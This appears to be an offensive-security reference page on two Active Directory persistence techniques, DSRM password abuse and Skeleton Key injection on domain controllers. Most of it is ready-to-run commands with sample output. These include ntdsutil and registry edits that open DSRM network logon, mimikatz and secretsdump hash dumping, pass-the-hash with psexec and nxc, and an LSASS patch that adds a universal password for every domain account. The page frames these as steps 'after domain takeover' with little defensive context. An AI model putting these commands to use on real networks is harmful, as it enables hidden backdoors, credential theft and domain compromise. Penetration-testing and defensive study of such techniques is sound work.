# DSRM and Skeleton Key > Covers DSRM password abuse and Skeleton Key injection for persistent stealthy access to Active Directory domain controllers, bypassing standard authentication. - **URL:** https://hackindex.io/platforms/active-directory/persistence/ad-dsrm-and-skeleton-key - **Path:** Active Directory > Persistence - **Up:** [Persistence](https://hackindex.io/platforms/active-directory/persistence.md) - **Published:** 2026-06-11 - **Updated:** 2026-08-11 Two techniques for maintaining backdoor access to domain controllers without relying on domain accounts. DSRM survives complete domain credential resets; Skeleton Key provides a universal password for all domain accounts until the DC reboots. Use both for layered persistence after domain takeover. - DSRM survives full domain credential resets - DSRM is local to one DC, must be configured on each - Skeleton Key adds a universal password for all domain accounts - Skeleton Key resets on DC reboot (memory-only patch) - Skeleton Key is detected by most EDR solutions ## DSRM: Directory Services Restore Mode backdoor Every DC has a local DSRM Administrator account separate from domain accounts. It is set during DC promotion and almost never changed. By resetting the DSRM password to one you control and enabling network logon, you get a local admin account on the DC that survives full domain credential resets: even if every domain account is wiped. By default, DSRM logon is only available in recovery mode. Setting `DsrmAdminLogonBehavior = 2` in the registry makes it available over the network at all times. #### Windows (ntdsutil) **Set DSRM password and enable network logon** ```powershell # Reset DSRM password on this DC (run locally or via PSRemoting) ntdsutil "set dsrm password" "reset password on server null" "$DSRM_PASSWORD" quit quit # Enable DSRM logon over the network: value 2 = always allow reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f # Dump DSRM NT hash from local SAM # On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .\mimikatz.exe "token::elevate" "lsadump::sam" exit # SAMKey : ... # # RID : 000001f4 (500) # User : Administrator # Hash NTLM: 8c6976e5b5410415bde908bd4dee15df ``` #### Kali (secretsdump) **Extract DSRM hash remotely (Kali)** ```bash # Extract local SAM from DC: DSRM Administrator hash is here impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP # Or dump via VSS (includes DSRM) impacket-secretsdump $DOMAIN/$DA_USER:$DA_PASSWORD@$TARGET_IP -use-vss # Enable DsrmAdminLogonBehavior remotely via registry nxc smb $TARGET_IP -u $DA_USER -p $DA_PASSWORD -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f' # Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c6976e5b5410415bde908bd4dee15df::: ``` Store the DSRM NT hash. After domain-wide credential reset, all domain accounts lose their hashes: the DSRM account is unaffected because it is local to the DC, not stored in NTDS.dit. #### Kali (impacket) **Use DSRM account after domain credential reset** ```bash # DSRM Administrator is local: authenticate with local-auth flag # Account: Administrator, scope: local to this DC only impacket-psexec $TARGET_IP/Administrator@$TARGET_IP -hashes :$DSRM_NTHASH # Verify via nxc with local-auth nxc smb $TARGET_IP -u Administrator -H $DSRM_NTHASH --local-auth # From DC shell: re-grant domain DA rights or dump NTDS impacket-secretsdump $TARGET_IP/Administrator@$TARGET_IP -hashes :$DSRM_NTHASH -just-dc # SMB 10.10.10.10 445 DC01 [+] DC01\Administrator:$DSRM_NTHASH (Pwn3d!) ``` #### Windows (Mimikatz) **Use DSRM account from Windows** ```bash # Pass-the-Hash with DSRM hash: local scope, must target DC hostname or IP sekurlsa::pth /user:Administrator /domain:$DC_HOSTNAME /ntlm:$DSRM_NTHASH /run:cmd.exe ``` ## Skeleton Key Skeleton Key patches the LSASS process on the DC to accept a universal password for every domain account. The real password continues to work: a second master password is added alongside it. Any user can now authenticate with either their real password or the skeleton password. Non-persistent: the patch lives in LSASS memory and resets on DC reboot. For multi-DC environments, patch each DC separately. Most EDR and AV solutions detect the LSASS patch. #### Windows (Mimikatz) **Inject Skeleton Key into LSASS** ```bash # Must run on the DC as SYSTEM or DA: patches LSASS in memory # On Kali: /usr/share/windows-resources/mimikatz/x64/mimikatz.exe privilege::debug misc::skeleton # [KDC] data # [KDC] struct # [KDC] keys patch OK # [RC4] functions # [RC4] init patch OK # [RC4] decrypt patch OK ``` #### Kali (verify) **Verify Skeleton Key is active** ```bash # Default Skeleton Key password is 'mimikatz' # Any domain user now authenticates with their real password OR 'mimikatz' nxc smb $TARGET_IP -u administrator -p 'mimikatz' -d $DOMAIN nxc smb $TARGET_IP -u $ANY_USER -p 'mimikatz' -d $DOMAIN # Impacket tools impacket-psexec $DOMAIN/administrator:'mimikatz'@$TARGET_IP # For multi-DC environments: patch each DC # Get all DCs and loop nxc smb $DC_IP_2 -u $DA_USER -p $DA_PASSWORD -x 'mimikatz privilege::debug misc::skeleton' # SMB 10.10.10.10 445 DC01 [+] corp.local\administrator:mimikatz (Pwn3d!) ``` Skeleton Key is the more detectable option but useful for short operations where you need to move fast across many systems without managing individual hashes. DSRM is the durable persistence: use it as the long-term fallback after Skeleton Key resets on reboot. Remove DSRM persistence when done: set `DsrmAdminLogonBehavior` back to 0 and reset the DSRM password to something unknown. ## References - [Mimikatz (GitHub)](https://github.com/gentilkiwi/mimikatz) - misc::skeleton for Skeleton Key injection, lsadump::sam for DSRM hash extraction - [Impacket (GitHub)](https://github.com/fortra/impacket) - secretsdump -sam for remote DSRM hash extraction - [DSRM Persistence: ired.team](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1207-dsrm-credentials-for-persistence) - DsrmAdminLogonBehavior registry key and attack chain